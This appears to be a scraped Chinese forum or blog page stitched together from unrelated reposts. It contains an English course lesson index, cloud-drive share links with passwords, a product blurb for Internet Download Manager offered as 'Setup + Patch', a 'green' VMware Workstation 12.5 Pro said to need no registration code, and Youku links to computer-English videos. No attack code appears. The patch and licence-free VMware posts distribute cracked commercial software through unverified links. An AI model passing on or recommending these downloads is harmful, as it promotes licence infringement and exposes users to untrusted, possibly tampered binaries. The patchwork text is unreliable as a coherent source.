课时9 音标 第2.1节 字母与音标的关系
课时10 音标 第2.2节 6个元音字母单独发音规律
课时11 音标 第2.3节 20个单辅音字母的单独发音规律
课时12 音标 第2.4节 辅音字母组合的发音规律
课时13 音标 第2.5节 元音字母组合的发音规律
课时14 音标 第2.6节 看单词划音节
课时15 音标 第2.7节 重读的规律
课时16 音标 第2.8节 见词能读的训练
课时17 音标 第3.1节 12个单元音音标对应的字组
课时18 音标 第3.2节 8个双元音音标对应的字组
课时19 音标 第3.3节 22个单辅音音标对应的字组
课时20 音标 第3.4节 6个双辅音音标对应的字组
课时21 音标 第3.5节 听音能拼的训练
课时22 音标 第4.1节 连读现象
课时23 音标 第4.2节 加音现象
课时24 音标 第4.3节 重叠现象
课时25 音标 第4.4节 失爆现象
课时26 音标 第4.5节 同化现象
课时27 音标 第4.6节 英语语调
课时28 音标 第4.7节 美式发音与英式发音的主要差别
课时29 入门词汇第1节 家庭成员
课时30 入门词汇第2节 人的称呼
课时31 入门词汇第3节 人的职业
课时32 入门词汇第4节 公共场所
课时33 入门词汇第5节 数字名称
课时34 入门词汇第6节 人的身体
课时35 入门词汇第7节 动物植物
课时36 入门词汇第8节 颜色服饰
课时37 入门词汇第9节 房子结构
课时38 入门词汇第10节 家用电器
课时39 入门词汇第11节 自然地理
课时40 入门词汇第12节 世界各国
课时41 入门词汇第13节国家概况
课时42 入门词汇第14节 时间分类
课时43 入门词汇第15节 季节天气
课时44 入门词汇第16节 月份星期
课时45 入门词汇第17节 学校介绍
课时46 入门词汇第18节 学习用品
课时47 入门词汇第19节 教学活动
课时48 入门词汇第20节 日常饮食
课时49 入门词汇第21节 兴趣爱好
课时50 入门词汇第22节 交通工具
课时51 入门词汇第23节 运动健康
课时52 入门词汇第24节 人称代词
课时53 入门词汇第25节 物主代词
课时54 入门词汇第26 反身代词
课时55 入门词汇第27节 不定代词
课时56 入门词汇第28节 疑问代词
课时57 入门词汇第29节 人的外貌
课时58 入门词汇第30节 人的情感
课时59 入门词汇第31节 人的品性
课时60 入门词汇第32节 人的状态
课时61 入门词汇第33节 物的外形
课时62 入门词汇第34节 物的性质
课时63 入门词汇第35节 物的品性
课时64 入门词汇第36节 物的情感
课时65 入门词汇第37节 物的状态
课时66 入门词汇第38节 五官动作
课时67 入门词汇第39节 手的动作
课时68 入门词汇第40节 脚的动作
课时69 入门词汇第41节 脑的动作
课时70 入门词汇第42节 心理动词
课时71 入门词汇第43节 情态动词
课时72 入门词汇第44节 态度动词
课时73 入门词汇第45节 变化动词
课时74 入门词汇第46节 时间副词
课时75 入门词汇第47节 地点副词
课时76 入门词汇第48节 程度副词
课时77 入门词汇第49节 方式副词
课时78 入门词汇第50节 连接副词
课时79 入门词汇第51节 数词模块
课时80 入门词汇第52节 介词模块
课时81 入门词汇第53节 连词模块
课时82 入门词汇第54节 量词模块
课时83 入门语法第1讲 简单句的概述
课时84 入门语法第2讲 一般现在时与写作训练
课时85 入门语法第3讲 一般过去时与写作训练
课时86 入门语法第4讲 一般将来时与写作
课时87 入门语法第5讲 情态动词与写作
课时88 入门语法第6讲 there be句型与写作
课时89 入门语法第7讲 名词的复数与写作
课时90 入门语法第8讲 名词所有格与写作
课时91 入门语法第9讲 人称代词与写作
课时92 入门语法第10讲 物主代词与写作
课时93 入门语法第11讲 反身代词与写作
课时94 入门语法第12讲 指示代词与写作
课时95 入门语法第13讲 不定代词与写作
课时96 入门语法第14讲 基数词与写作
课时97 入门语法第15讲 序数词与写作
课时98 入门语法第16讲 形容词副词基本用语与写作
课时99 入门语法第17讲 形容词副词比较级与写作
课时100 入门语法第18讲 介词与写作
课时101 入门语法第19讲 冠词与写作
课时102 入门语法第20讲 不定式与写作
课时103 入门语法第21讲 动名词与写作
课时104 入门语法第22讲 复合句的概述
课时105 入门语法第23讲 并列句与写作
课时106 入门语法第24讲 宾语从句与写作
课时107 入门语法第25讲 定语从句与写作
课时108 入门语法第26讲 状语从句与写作
课时109 入门语法第27讲 段落的概述
课时110 入门语法第28讲 段落的写作
课时111 入门语法第29讲 段落的评价标准
课时112 入门语法第30讲 文章的概述
课时113 入门语法第31讲 文章的写作步骤
课时114 初级口语第1讲 问候用语
课时115 初级口语第2讲 介绍用语
课时116 初级口语第3讲 致谢用语
课时117 初级口语第4讲 道别用语
课时118 初级口语第5讲 赞美用语
课时119 初级口语第6讲 祝福用语
课时120 初级口语第7讲 邀请用语
课时121 初级口语第8讲 帮忙用语
课时122 初级口语第9节 赞同用语
课时123 初级口语第10节 建议用语
课时124 初级口语第11节 请求用语
课时125 初级口语第12讲 道歉用语
课时126 初级口语第13讲 预约用语
课时127 初级口语第14讲 时间用语
课时128 初级口语第15讲 天气用语
课时129 初级口语第16讲 电话用语
课时130 初级口语第17讲 购物用语
课时131 初级口语第18讲 餐厅用语
课时132 初级口语第19讲 住宿用语
课时133 初级口语第20讲 问路用语
课时134 初级口语第21讲 机场用语
课时135 初级口语 第22讲 海关用语
课时136 初级口语 第23讲 银行用语
课时137 初级口语 第24讲 邮政用语
课时138 初级口语 第25讲 医院用语
课时139 第26讲 求职面试用语
课时140 中级词汇 第1章 A打头词汇
课时141 中级词汇 第2章 B打头词汇
课时142 中级词汇 第3章 C打头词汇
课时143 中级词汇 第4章 D打头词汇
课时144 中级词汇 第5章 E打头词汇
课时145 中级词汇 第6章 F打头词汇
课时146 第7章 GH打头词汇
课时147 中级词汇 第8章 IJK打头词汇
课时148 中级词汇 第9章 LM打头词汇
课时149 中级词汇 第10章 NO打头词汇
课时150 中级词汇 第11章 PQ打头词汇
课时151 中级词汇 第12章 R打头词汇
课时152 第13章 S打头词汇
课时153 第14章 T打头词汇
课时154 中级词汇 第15章 UVW打头词汇
课时155 中级词汇 第16章 XYZ打头词汇
课时156 中级语法第1.0讲 课程简介试听
课时157 中级语法 第1.1讲 句子成分和简单句的概述
课时158 中级语法 第1.2讲 动词的一般现在时
课时159 中级语法 第1.3讲 动词的一般过去时
课时160 中级语法 第1.4讲 动词的一般将来时
课时161 中级语法 第1.5讲 动词的过去将来时
课时162 中级语法 第1.6讲 动词的现在完成时
课时163 中级语法第1.7讲 动词的过去完成时
课时164 中级语法 第1.8节 动词的现在进行时
课时165 中级语法第1.9讲 动词的过去进行时
课时166 中级语法 第1.10讲 动词之情态动词
课时167 中级语法 第1.11讲 动词的被动态
课时168 中级语法 第1.12讲 名词
课时169 中级语法第1.13讲 代词
课时170 中级语法第1.14讲 数词
课时171 中级语法第1.15讲 形容词和副词
课时172 中级语法第1.16讲 介词
课时173 中级语法第1.17讲 冠词
课时174 中级语法第1.18讲 非谓语动词之动名词
课时175 中级语法第1.19讲 非谓语动词之不定式
课时176 中级语法第1.20讲 there be句型
课时177 中级语法第2.1讲 复合句的概述
课时178 中级语法第2.2讲 并列句
课时179 中级语法第2.3讲 宾语从句
课时180 中级语法第2.4讲 定语从句
课时181 中级语法第2.5讲 状语从句
课时182 中级语法第3.1讲 句子的分类
课时183 中级语法第3.2讲 陈述句
课时184 中级语法第3.3讲 疑问句
课时185 第3.4讲 感叹句
课时186 中级语法第3.5讲 祈使句
http://www.52pojie.cn/thread-539966-1-1.html 原帖地址


手快有,手慢无!
链接: http://pan.baidu.com/s/1c21ypg 密码: 吾A
https://yunpan.cn/ckt9AaGIRa4rB 访问密码 4588
转载自SSS安全论坛
原文地址:http://bbs.sssie.com/thread-1955-1-1.html




Internet Download Manager (IDM) is a tool to increase download speeds by up to 5 times, resume and schedule downloads. Comprehensive error recovery and resume capability will restart broken or interrupted downloads due to lost connections, network problems, computer shutdowns, or unexpected power outages. Simple graphic user interface makes IDM user friendly and easy to use.Internet Download Manager has a smart download logic accelerator that features intelligent dynamic file segmentation and safe multipart downloading technology to accelerate your downloads. Unlike other download managers and accelerators Internet Download Manager segments downloaded files dynamically during download process and reuses available connections without additional connect and login stages to achieve best acceleration performance.
Internet Download Manager supports proxy servers, ftp and http protocols, firewalls, redirects, cookies, authorization, MP3 audio and MPEG video content processing. IDM integrates seamlessly into Microsoft Internet Explorer, Netscape, MSN Explorer, AOL, Opera, Mozilla, Mozilla Firefox, Mozilla Firebird, Avant Browser, MyIE2, and all other popular browsers to automatically handle your downloads. You can also drag and drop files, or use Internet Download Manager from command line. Internet Download Manager can dial your modem at the set time, download the files you want, then hang up or even shut down your computer when it's done.
Other features include multilingual support, zip preview, download categories, scheduler pro, sounds on different events, HTTPS support, queue processor, html help and tutorial, enhanced virus protection on download completion, progressive downloading with quotas (useful for connections that use some kind of fair access policy or FAP like Direcway, Direct PC, Hughes, etc.), built-in download accelerator, and many others.
Version 6.25 adds Windows 10 compatibility, adds IDM download panel for web-players that can be used to download flash videos from sites like MySpaceTV, and others. It also features complete Windows 8.1 (Windows 8, Windows 7 and Vista) support, video page grabber, redeveloped scheduler, and MMS protocol support. The new version also adds improved integration for IE 11 and IE based browsers, redesigned and enhanced download engine, the unique advanced integration into all latest browsers, improved toolbar, and a wealth of other improvements and new features.

Original Setup + Patch Link, here:
Password to Unpack:Sound
Download:
)








VMware 12.5 Pro 绿色版,所有Tools更新到最新版
VMware Workstation 最新版是12.5.0,支持安装苹果系统,,,安装完成后就是专业版,,无需找注册码
图片就不上传了
下载地址:https://yunpan.cn/ckCjDL7uxqBvV d129
计算机专业英语词汇01.flv
http://player.youku.com/player.php/sid/XNTA2NTM2NTU2/v.swf
计算机专业英语词汇02.flv
http://player.youku.com/player.php/sid/XNTA2NTQxMjQ0/v.swf
计算机专业英语词汇03.flv
http://player.youku.com/player.php/sid/XNTA2NTQxMjc2/v.swf
计算机专业英语词汇04.flv
http://player.youku.com/player.php/sid/XNTA2NTQyNTc2/v.swf
计算机专业英语词汇05.flv
http://player.youku.com/player.php/sid/XNTA2NTQ4MTYw/v.swf
计算机专业英语词汇06.flv
http://player.youku.com/player.php/sid/XNTA2NTQ5Mjky/v.swf
计算机专业英语词汇07.flv
http://player.youku.com/player.php/sid/XNTA2NTQ5MTY0/v.swf
计算机专业英语08.flv
http://player.youku.com/player.php/sid/XNTA2NTk3NTE2/v.swf
计算机专业英语09.flv
http://player.youku.com/player.php/sid/XNTA2NjAwMzcy/v.swf
计算机专业英语10.flv
http://player.youku.com/player.php/sid/XNTA2NTk4NzA4/v.swf
计算机专业英语11.flv
http://player.youku.com/player.php/sid/XNTA2NjA2NjQw/v.swf
计算机专业英语12.flv
http://player.youku.com/player.php/sid/XNTA2NjA2NTg4/v.swf
计算机专业英语13.flv
http://player.youku.com/player.php/sid/XNTA2NjA3MjY0/v.swf
计算机专业英语14.flv
http://player.youku.com/player.php/sid/XNTA2NjEzMTI0/v.swf
计算机专业英语15.flv
http://player.youku.com/player.php/sid/XNTA2NjExOTA0/v.swf
计算机专业英语16.flv
http://player.youku.com/player.php/sid/XNTA2NjEyNTI4/v.swf
计算机专业英语17.flv
http://player.youku.com/player.php/sid/XNTA2NjE4NjA0/v.swf
计算机专业英语18.flv
http://player.youku.com/player.php/sid/XNTA2NjE4NjA0/v.swf
计算机专业英语19.flv
http://player.youku.com/player.php/sid/XNTA2NjIxNDA4/v.swf
计算机专业英语20.flv
http://player.youku.com/player.php/sid/XNTA2NjIyMjM2/v.swf
计算机专业英语21.flv
http://player.youku.com/player.php/sid/XNTA2NjQ0ODg0/v.swf
计算机专业英语22.flv
http://player.youku.com/player.php/sid/XNTA2NjM5MjQ4/v.swf
计算机专业英语23.flv
http://player.youku.com/player.php/sid/XNTA2NzQ2MDQ4/v.swf
计算机专业英语24.flv
http://player.youku.com/player.php/sid/XNTA2NjQyNjI4/v.swf
计算机专业英语25.flv
http://player.youku.com/player.php/sid/XNTA2NjQ1MTEy/v.swf
计算机专业英语26.flv
http://player.youku.com/player.php/sid/XNTA2NjUyODI0/v.swf
计算机专业英语27.flv
http://player.youku.com/player.php/sid/XNTA2NjUwMTA4/v.swf
计算机专业英语28.flv
http://player.youku.com/player.php/sid/XNTA2NjUwNDg0/v.swf